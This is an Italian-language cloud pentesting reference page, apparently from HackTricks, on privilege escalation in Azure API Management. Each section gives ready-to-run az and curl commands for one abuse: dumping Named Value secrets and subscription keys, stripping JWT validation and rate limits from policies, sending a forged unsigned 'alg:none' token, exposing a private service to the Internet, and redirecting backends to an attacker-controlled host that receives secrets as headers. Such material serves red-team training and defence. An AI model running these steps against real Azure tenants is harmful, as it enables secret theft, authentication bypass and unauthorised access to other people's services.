# Az - API Management Privesc

{{#include ../../../banners/hacktricks-training.md}}

## `Microsoft.ApiManagement/service/namedValues/read` & `Microsoft.ApiManagement/service/namedValues/listValue/action`

L'attacco consiste nell'accedere a secrets sensibili memorizzati in Azure API Management Named Values, sia recuperando direttamente i valori dei secrets, sia abusando dei permessi per ottenere secrets Key Vault–backed tramite managed identities.
```bash
az apim nv show-secret --resource-group <resource-group> --service-name <service-name> --named-value-id <named-value-id>
```
## `Microsoft.ApiManagement/service/subscriptions/read` & `Microsoft.ApiManagement/service/subscriptions/listSecrets/action`
Per ogni subscription, l'attaccante può ottenere le chiavi della subscription utilizzando l'endpoint listSecrets con il metodo POST:
```bash
az rest --method POST \
--uri "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<resource-group>/providers/Microsoft.ApiManagement/service/<service-name>/subscriptions/<subscription-sid>/listSecrets?api-version=2024-05-01"
```
La risposta include la subscription primary key (primaryKey) e la secondary key (secondaryKey). Con queste chiavi, l'attacker può autenticarsi e accedere alle APIs pubblicate tramite l'API Management Gateway:
```bash
curl -H "Ocp-Apim-Subscription-Key: <primary-key-or-secondary-key>" \
https://<service-name>.azure-api.net/<api-path>
```
L'attacker può accedere a tutte le APIs e ai prodotti associati alla sottoscrizione. Se la sottoscrizione ha accesso a prodotti o APIs sensibili, l'attacker può ottenere informazioni riservate o eseguire operazioni non autorizzate.

## `Microsoft.ApiManagement/service/policies/write` or `Microsoft.ApiManagement/service/apis/policies/write`

L'attacker recupera prima la policy API corrente:
```bash
az rest --method GET \
--uri "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<resource-group>/providers/Microsoft.ApiManagement/service/<service-name>/apis/<api-id>/policies/?api-version=2024-05-01&format=rawxml"
```
L'attaccante può modificare la policy in diversi modi a seconda dei suoi obiettivi. Ad esempio, per disabilitare l'autenticazione, se la policy include la validazione del token JWT, l'attaccante può rimuovere o commentare quella sezione:
```xml
<policies>
<inbound>
<base />
<!-- JWT validation removed by the attacker -->
<!-- <validate-jwt header-name="Authorization" failed-validation-httpcode="401" >
...
</validate-jwt> -->
</inbound>
<backend>
<base />
</backend>
<outbound>
<base />
</outbound>
<on-error>
<base />
</on-error>
</policies>
```
Per rimuovere i controlli di rate limiting e consentire attacchi di denial-of-service, l'attaccante può rimuovere o commentare le policy di quota e rate-limit:
```xml
<policies>
<inbound>
<base />
<!-- Rate limiting removed by the attacker -->
<!-- <rate-limit calls="100" renewal-period="60" />
<quota-by-key calls="1000" renewal-period="3600" counter-key="@(context.Subscription.Id)" /> -->
</inbound>
...
</policies>
```
Per modificare la route del backend e reindirizzare il traffico verso un server controllato dall'attaccante:
```xml
<policies>
...
<inbound>
<base />
<set-backend-service base-url="https://attacker-controlled-server.com" />
</inbound>
...
</policies>
```
L'attaccante applica quindi la policy modificata. Il corpo della richiesta deve essere un oggetto JSON contenente la policy in formato XML:
```bash
az rest --method PUT \
--uri "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<resource-group>/providers/Microsoft.ApiManagement/service/<service-name>/apis/<api-id>/policies/policy?api-version=2024-05-01" \
--headers "Content-Type=application/json" \
--body '{
"properties": {
"format": "rawxml",
"value": "<policies><inbound><base /></inbound><backend><base /></backend><outbound><base /></outbound><on-error><base /></on-error></policies>"
}
}'
```
## Misconfigurazione della validazione JWT

L'attacker deve sapere che un'API usa JWT token validation e che la policy è misconfigurata. Policy di validazione JWT configurate male possono avere `require-signed-tokens="false"` o `require-expiration-time="false"`, il che permette al servizio di accettare unsigned tokens o tokens che non scadono mai.

L'attacker crea un JWT malevolo usando l'algoritmo none (unsigned):
```
# Header: {"alg":"none"}
# Payload: {"sub":"user"}
eyJhbGciOiJub25lIn0.eyJzdWIiOiJ1c2VyIn0.
```
L'attaccante invia una richiesta all'API utilizzando il token malevolo:
```bash
curl -X GET \
-H "Authorization: Bearer eyJhbGciOiJub25lIn0.eyJzdWIiOiJ1c2VyIn0." \
https://<apim>.azure-api.net/path
```
Se la policy è configurata in modo errato con `require-signed-tokens="false"`, il servizio accetterà il token non firmato. L'attaccante può anche creare un token senza un expiration claim se `require-expiration-time="false"`.

## `Microsoft.ApiManagement/service/applynetworkconfigurationupdates/action`
L'attaccante verifica innanzitutto la configurazione di rete corrente del servizio:
```bash
az rest --method GET \
--uri "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<resource-group>/providers/Microsoft.ApiManagement/service/<apim>?api-version=2024-05-01"
```
L'attaccante esamina la risposta JSON per verificare i valori di `publicNetworkAccess` e `virtualNetworkType`. Se `publicNetworkAccess` è impostato su false o `virtualNetworkType` è impostato su Internal, il servizio è configurato per accesso privato.

Per esporre il servizio a Internet, l'attaccante deve modificare entrambe le impostazioni. Se il servizio è in modalità internal (`virtualNetworkType: "Internal"`), l'attaccante lo modifica in None o External e abilita l'accesso alla rete pubblica. Questo può essere fatto usando l'Azure Management API:
```bash
az rest --method PATCH \
--uri "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<resource-group>/providers/Microsoft.ApiManagement/service/<apim>?api-version=2024-05-01" \
--headers "Content-Type=application/json" \
--body '{
"properties": {
"publicNetworkAccess": "Enabled",
"virtualNetworkType": "None"
}
}'
```
Una volta che `virtualNetworkType` è impostato su `None` o `External` e `publicNetworkAccess` è abilitato, il servizio e tutte le sue API diventano accessibili da Internet, anche se in precedenza erano protetti dietro una rete privata o private endpoints.

## `Microsoft.ApiManagement/service/backends/write`
L'attaccante prima enumera i backends esistenti per identificare quale modificare:
```bash
az rest --method GET \
--uri "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<resource-group>/providers/Microsoft.ApiManagement/service/<service-name>/backends?api-version=2024-05-01"
```
L'attaccante recupera la configurazione corrente del backend che vuole modificare:
```bash
az rest --method GET \
--uri "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<resource-group>/providers/Microsoft.ApiManagement/service/<service-name>/backends/<backend-id>?api-version=2024-05-01"
```
L'attaccante modifica l'URL del backend per puntare a un server sotto il proprio controllo. Per prima cosa ottiene l'ETag dalla risposta precedente e poi aggiorna il backend:
```bash
az rest --method PUT \
--uri "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<resource-group>/providers/Microsoft.ApiManagement/service/<service-name>/backends/<backend-id>?api-version=2024-05-01" \
--headers "Content-Type=application/json" "If-Match=*" \
--body '{
"properties": {
"url": "https://attacker-controlled-server.com",
"protocol": "http",
"description": "Backend modified by attacker"
}
}'
```
In alternativa, l'attaccante può configurare le intestazioni di backend per esfiltrare i Named Values contenenti segreti. Questo viene fatto tramite la configurazione delle credenziali di backend:
```bash
az rest --method PUT \
--uri "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<resource-group>/providers/Microsoft.ApiManagement/service/<service-name>/backends/<backend-id>?api-version=2024-05-01" \
--headers "Content-Type=application/json" "If-Match=*" \
--body '{
"properties": {
"url": "https://attacker-controlled-server.com",
"protocol": "http",
"credentials": {
"header": {
"X-Secret-Value": ["{{named-value-secret}}"]
}
}
}
}'
```
Con questa configurazione, i Named Values vengono inviati come header in tutte le richieste al backend controllato dall'attaccante, permettendo l'esfiltrazione di segreti sensibili.

{{#include ../../../banners/hacktricks-training.md}}
